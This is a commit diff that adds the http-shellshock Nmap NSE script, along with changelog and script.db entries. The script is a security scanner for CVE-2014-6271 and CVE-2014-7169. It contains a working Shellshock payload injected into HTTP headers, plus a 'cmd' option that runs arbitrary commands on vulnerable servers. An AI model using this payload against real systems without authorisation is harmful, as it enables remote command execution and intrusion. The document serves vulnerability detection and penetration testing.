Adds http-shellshock.nse to detect web applications vulnerable to shellshock

CHANGELOG

@@ -1,5 +1,8 @@
 # Nmap Changelog ($Id$); -*-text-*-
 
+o [NSE] Added http-shellshock to detect web applications vulnerable to 
+  Shellshock (CVE2014-6271). [Paulino Calderon]
+
 o Added a version probe for Tor. [David Fifield]
 
 o [Zenmap] Updated translations for German (de, Chris Leick), Italian (it, Jan

scripts/http-shellshock.nse

@@ -0,0 +1,144 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+description = [[
+Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications.
+
+To detect this vulnerability the script executes a command that prints a 
+random string and then attempts to find it inside the response body. Web apps that
+ don't print back information won't be detected with this method.
+
+By default the script injects the payload in the HTTP headers User-Agent,
+ Cookie, Referer and also uses the payload as the header name.   
+
+Vulnerability originally discovered by Stephane Chazelas.
+
+References:
+* http://www.openwall.com/lists/oss-security/2014/09/24/10
+* http://seclists.org/oss-sec/2014/q3/685
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+]]
+
+-- @usage 
+-- nmap -sV -p- --script http-shellshock <target>
+-- nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>
+-- @output
+-- PORT   STATE SERVICE REASON
+-- 80/tcp open  http    syn-ack
+-- | http-shellshock: 
+-- |   VULNERABLE:
+-- |   HTTP Shellshock vulnerability
+-- |     State: VULNERABLE (Exploitable)
+-- |     IDs:  CVE:CVE-2014-6271
+-- |       This web application might be affected by the vulnerability known as Shellshock. It seems the server 
+-- |       is executing commands injected via malicious HTTP headers. 
+-- |             
+-- |     Disclosure date: 2014-09-24
+-- |     References:
+-- |       http://www.openwall.com/lists/oss-security/2014/09/24/10
+-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
+-- |       http://seclists.org/oss-sec/2014/q3/685
+-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+--
+-- @xmloutput
+-- <elem key="title">HTTP Shellshock vulnerability</elem>
+-- <elem key="state">VULNERABLE (Exploitable)</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2014-6271</elem>
+-- </table>
+-- <table key="description">
+-- <elem>This web application might be affected by the vulnerability known as Shellshock. It seems the server 
+-- &#xa;is executing commands injected via malicious HTTP headers. &#xa;      </elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="year">2014</elem>
+-- <elem key="day">24</elem>
+-- <elem key="month">09</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2014-09-24</elem>
+-- <table key="refs">
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169</elem>
+-- <elem>http://www.openwall.com/lists/oss-security/2014/09/24/10</elem>
+-- <elem>http://seclists.org/oss-sec/2014/q3/685</elem>
+-- <elem>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271</elem>
+-- </table>
+-- @args http-shellshock.uri URI. Default: /
+-- @args http-shellshock.header HTTP header to use in requests. Default: User-Agent
+-- @args http-shellshock.cmd Custom command to send inside payload. Default: nil
+---
+author = {"Paulino Calderon <calderon()websec.mx","Paul Amar <paul()sensepost com>"}
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+portrule = shortport.http
+
+function generate_http_req(host, port, uri, custom_header, cmd)
+  local rnd = nil
+  --Set custom or probe with random string as cmd
+  if cmd ~= nil then
+    cmd = '() { :;}; '..cmd 
+ else
+    rnd = stdnse.generate_random_string(15)
+    cmd = '() { :;}; echo; echo "'..rnd..'"'
+  end
+  -- Plant the payload in the HTTP headers
+  local options = {header={}}
+  options["no_cache"] = true
+  if custom_header == nil then
+    stdnse.debug(1, string.format("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd))
+    options["header"]["User-Agent"] = cmd
+    options["header"]["Referer"] = cmd
+    options["header"]["Cookie"] = cmd
+    options["header"][cmd] = cmd
+  else
+    stdnse.debug(1, string.format("Sending '%s' in HTTP header '%s'", cmd, custom_header))
+    options["header"][custom_header] = cmd
+  end
+  local req = http.get(host, port, uri, options)
+
+  if not(cmd) then
+    return req
+  else 
+    return req, rnd
+  end
+end
+
+action = function(host, port)
+  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+  local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or nil
+  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+  local rnd = nil 
+  local req, rnd = generate_http_req(host, port, uri, http_header, nil)
+  if req.status == 200 and string.match(req.body, rnd) ~= nil then
+    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+    local vuln = {
+      title = 'HTTP Shellshock vulnerability',
+      state = vulns.STATE.NOT_VULN, 
+      description = [[
+This web application might be affected by the vulnerability known as Shellshock. It seems the server 
+is executing commands injected via malicious HTTP headers. 
+      ]],
+      IDS = {CVE = 'CVE-2014-6271'},
+      references = {
+        'http://www.openwall.com/lists/oss-security/2014/09/24/10',
+        'http://seclists.org/oss-sec/2014/q3/685',
+        'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169'
+      },
+      dates = {
+        disclosure = {year = '2014', month = '09', day = '24'},
+      },
+    }
+    stdnse.debug(1, string.format("Random pattern '%s' was found in page. Host seems vulnerable.", rnd))
+    vuln.state = vulns.STATE.EXPLOIT
+    if cmd ~= nil then
+       req = generate_http_req(host, port, uri, http_header, cmd)
+       vuln.exploit_results = req.body
+    end
+    return vuln_report:make_output(vuln)
+  end
+end

scripts/script.db

@@ -205,6 +205,7 @@ Entry { filename = "http-robots.txt.nse", categories = { "default", "discovery",
 Entry { filename = "http-robtex-reverse-ip.nse", categories = { "discovery", "external", "safe", } }
 Entry { filename = "http-robtex-shared-ns.nse", categories = { "discovery", "external", "safe", } }
 Entry { filename = "http-server-header.nse", categories = { "version", } }
+Entry { filename = "http-shellshock.nse", categories = { "exploit", "intrusive", "vuln", } }
 Entry { filename = "http-sitemap-generator.nse", categories = { "discovery", "intrusive", } }
 Entry { filename = "http-slowloris-check.nse", categories = { "safe", "vuln", } }
 Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } }